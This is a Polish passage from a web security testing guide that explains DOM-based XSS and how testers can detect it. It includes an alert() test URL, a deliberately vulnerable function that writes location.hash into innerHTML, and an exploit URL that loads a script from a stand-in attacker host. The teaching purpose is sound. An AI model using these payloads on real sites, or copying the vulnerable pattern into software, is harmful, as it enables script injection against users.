Zagrożenia w sieci

XSS bazujące na modelu DOM

Problem

Skrypty krzyżowe bazujące na modelu DOM wykorzystują kod JavaScript po stronie klienta, który wyprowadza niezaufane dane bez filtrowania lub kodowania. Testerzy powinni mieć świadomość istnienia tej odmiany ataków XSS, ponieważ wiele tradycyjnych metod odnaj­dywania wrażliwości na skrypty XSS nie wykrywa pewnych typów ataków XSS bazujących na modelu DOM.

 

Aby przetestować wrażliwość serwisu na skrypty XSS bazujące na modelu DOM, najlepiej skorzystać z przeglądarki Internet Explorer. Powody omówiono w punkcie „DYSKUSJA" ni­niejszej receptury.

Wrażliwość na niektóre przypadki ataków XSS bazujących na modelu DOM można znaleźć za pomocą testów omówionych w innych recepturach w niniejszej dokumentacji. Istnieje jednak odręb­ny test wrażliwości na ataki XSS bazujące na modelu DOM. W przypadku podejrzeń, że określo­ne fragmenty adresu URL są obsługiwane przez kod JavaScript po stronie klienta i wypro­wadzane do przeglądarki użytkownika, można w tych fragmentach adresu URL wstawić ciągi testów podatności na ataki XSS. Na przykład jeśli do filtrowania informacji wyświetla­nych w przeglądarce są wykorzystywane fragmenty adresu URL, a wartości tych frag­mentów są wyświetlane użytkownikowi, to podatność na ataki XSS bazujące na modelu DOM można sprawdzić, wykorzystując adres URL podobny do pokazanego niżej.

 

Przykład adresu URL do wyszukiwania ataków XSS bazujących na modelu DOM

http://www.example.com/display.pl#<script>alert('XSS')</script>

Tak jak w przypadku innych testów podatności na ataki XSS wynik testu jest dodatni (apli­kacja jest wrażliwa), jeśli wyświetli się okno z ostrzeżeniem.

DYSKUSJA

W kilku recepturach w niniejszej dokumentacji omawiano odbite lub składowane ataki XSS. Pole­gały one na wysyłaniu złośliwych danych na wrażliwy serwer, który albo odbijał je natych­miast do przeglądarki, albo gdzieś zapisywał, by przeglądarka pobrała je później. Choć ataki XSS bazujące na modelu DOM nie są tak powszechne jak inne typy ataków XSS, trzeba wy­konać testy sprawdzające podatność aplikacji na ten rodzaj ataków.

Ataki XSS bazujące na modelu DOM zasadniczo różnią się od odbitych i składowanych ata­ków XSS, ponieważ nie wymagają interakcji klient - serwer. Wrażliwość występuje w przy­padku, kiedy kod JavaScript działający po stronie klienta obsługuje dane wejściowe wprowadza­ne przez użytkownika i wyświetla je w jego przeglądarce bez kodowania lub filtrowania. Systemowe metody odnajdywania wrażliwości na skrypty XSS, które omówiono w receptu­rze 7.4, nie nadają się do wykrywania podatności na ataki XSS bazujące na modelu DOM, ponieważ sprawdzają odpowiedź serwera na wstrzyknięte ciągi znaków, a w tym przypadku kod po stronie serwera nie musi być wrażliwy na ataki XSS.

W poniższym listingu  pokazano funkcję JavaScript wrażliwą na ataki XSS bazujące na modelu DOM:

<script>

function displayFragment() {

Fragment = document.createElement("div");

Fragment.innerHTML = "<h2>" + location.hash.substring(l) + "</h2>";

/* ... */

document.getElementsByTagName("body").item(0).appendChild(Fragment);

}

</script>

W tym przypadku wywołanie location.hash zwraca identyfikator fragmentu w adresie URL (razem z symbolem #). Funkcja substring(l) obcina pierwszy znak. W związku z tym, jeśli napastnik utworzy łącze podobne do tego, które pokazano w listingu 12.8, to przeglądar­ka ofiary uruchomi skrypt napastnika, a po stronie serwera nie będzie żadnego śladu ataku.

 

 Przykład adresu URL wykorzystującego wrażliwość aplikacji na atak XSS bazujący na modelu DOM

http://www.example.com/display#<script

src='http://napastnik.example.org/xss.js'></script>

Testowanie wrażliwości na ataki XSS bazujące na modelu DOM wymaga dynamicznej anali­zy kodu JavaScript działającego po stronie klienta. Jednym ze sposobów na przeprowadzenie takiej analizy są interaktywne testy z wykorzystaniem przeglądarki WWW. Do wykonania takich testów najlepiej skorzystać z przeglądarki Internet Explorer, ponieważ niektóre prze­glądarki, na przykład Mozilla Firefox, automatycznie kodują wybrane znaki w adresie URL, na przykład < i > odpowiednio na %3C i %3E. W związku z tym, jeśli nie przeprowadzi się de­kodowania URL za pomocą kodu JavaScript, exploit w takich przeglądarkach może nie za­działać.

Należy zwrócić uwagę, że wykorzystując interaktywne metody wyszukiwania problemów XSS, moż­na również znaleźć niektóre problemy dotyczące ataków XSS bazujących na modelu DOM. W przypadku tych ataków ważne jest, aby testować dane wejściowe, które mogą być obsłu­żone wyłącznie po stronie klienta (na przykład fragmenty adresu URL). Testowanie samych interakcji klient - serwer jest niewystarczające.